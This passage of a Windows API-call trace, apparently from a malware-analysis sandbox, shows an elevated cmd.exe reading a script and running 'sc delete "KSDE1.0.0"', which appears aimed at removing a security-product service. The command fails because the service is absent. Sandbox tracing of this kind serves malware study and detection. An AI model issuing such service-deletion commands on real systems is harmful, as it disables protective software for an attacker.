hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="0\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.122] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.122] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.122] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr=".lt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.122] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="0t\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.123] GetFileType (hFile=0xb8) returned 0x3 [0073.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.123] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.123] GetFileType (hFile=0x120) returned 0x3 [0073.123] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"KSDE1.0.0\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"KSDE1.0.0\"\n", lpUsedDefaultChar=0x0) returned 23 [0073.123] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x16, lpOverlapped=0x0) returned 1 [0073.123] GetProcessHeap () returned 0x4a0000 [0073.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.124] GetProcessHeap () returned 0x4a0000 [0073.124] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.124] GetProcessHeap () returned 0x4a0000 [0073.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.124] GetProcessHeap () returned 0x4a0000 [0073.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.124] GetProcessHeap () returned 0x4a0000 [0073.124] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6510 [0073.124] GetConsoleOutputCP () returned 0x1b5 [0073.124] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.124] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.124] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0073.125] SetErrorMode (uMode=0x0) returned 0x1 [0073.125] SetErrorMode (uMode=0x1) returned 0x0 [0073.125] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.125] SetErrorMode (uMode=0x1) returned 0x1 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0073.125] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.125] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.125] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.125] GetProcessHeap () returned 0x4a0000 [0073.125] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.126] GetProcessHeap () returned 0x4a0000 [0073.126] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.126] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.126] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.126] GetLastError () returned 0x2 [0073.126] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.126] GetLastError () returned 0x2 [0073.126] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.126] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.126] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.126] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.126] GetLastError () returned 0x2 [0073.126] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.127] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.127] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.127] GetProcessHeap () returned 0x4a0000 [0073.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.127] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.127] GetProcessHeap () returned 0x4a0000 [0073.127] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa4) returned 0x4b9180 [0073.127] GetProcessHeap () returned 0x4a0000 [0073.127] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa4 [0073.127] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"KSDE1.0.0\"") returned 1 [0073.127] GetProcessHeap () returned 0x4a0000 [0073.127] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.127] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.128] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.128] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.128] GetProcessHeap () returned 0x4a0000 [0073.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.128] GetProcessHeap () returned 0x4a0000 [0073.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.128] GetProcessHeap () returned 0x4a0000 [0073.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.128] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"KSDE1.0.0\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"KSDE1.0.0\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"KSDE1.0.0\"", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xa40, dwThreadId=0xad0)) returned 1 [0073.137] CloseHandle (hObject=0x50) returned 1 [0073.137] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.137] GetProcessHeap () returned 0x4a0000 [0073.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0073.137] GetEnvironmentStringsW () returned 0x4c1b10* [0073.137] GetProcessHeap () returned 0x4a0000 [0073.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.137] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.137] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.137] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.137] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0073.194] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.194] CloseHandle (hObject=0x54) returned 1 [0073.194] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.194] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.194] GetProcessHeap () returned 0x4a0000 [0073.194] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.194] GetEnvironmentStringsW () returned 0x4c1b10* [0073.195] GetProcessHeap () returned 0x4a0000 [0073.195] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.195] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.195] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.195] GetProcessHeap () returned 0x4a0000 [0073.195] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.195] GetEnvironmentStringsW () returned 0x4c1b10* [0073.195] GetProcessHeap () returned 0x4a0000 [0073.195] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.195] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.195] GetProcessHeap () returned 0x4a0000 [0073.195] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.195] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.195] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.196] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.196] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.196] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.196] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.196] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.196] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.196] GetConsoleOutputCP () returned 0x1b5 [0073.196] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.196] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.197] GetProcessHeap () returned 0x4a0000 [0073.197] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.197] GetProcessHeap () returned 0x4a0000 [0073.197] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.197] GetProcessHeap () returned 0x4a0000 [0073.197] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.197] GetProcessHeap () returned 0x4a0000 [0073.197] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.197] GetProcessHeap () returned 0x4a0000 [0073.197] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0073.197] GetProcessHeap () returned 0x4a0000 [0073.197] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.197] GetProcessHeap () returned 0x4a0000 [0073.197] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.197] GetProcessHeap () returned 0x4a0000 [0073.197] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.197] GetProcessHeap () returned 0x4a0000 [0073.197] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.197] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.197] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.197] GetFileType (hFile=0x120) returned 0x3 [0073.197] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.197] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.198] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.198] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.198] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.198] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.198] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.198] GetFileType (hFile=0x120) returned 0x3 [0073.198] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.198] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.198] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.198] GetFileType (hFile=0xb8) returned 0x3 [0073.198] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.198] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.198] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.198] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.198] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.198] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.198] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.198] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.198] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.198] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.199] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.199] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.199] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.199] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.199] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.199] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.199] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.199] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.199] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.199] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.199] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.199] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.199] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.199] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.199] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.199] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, 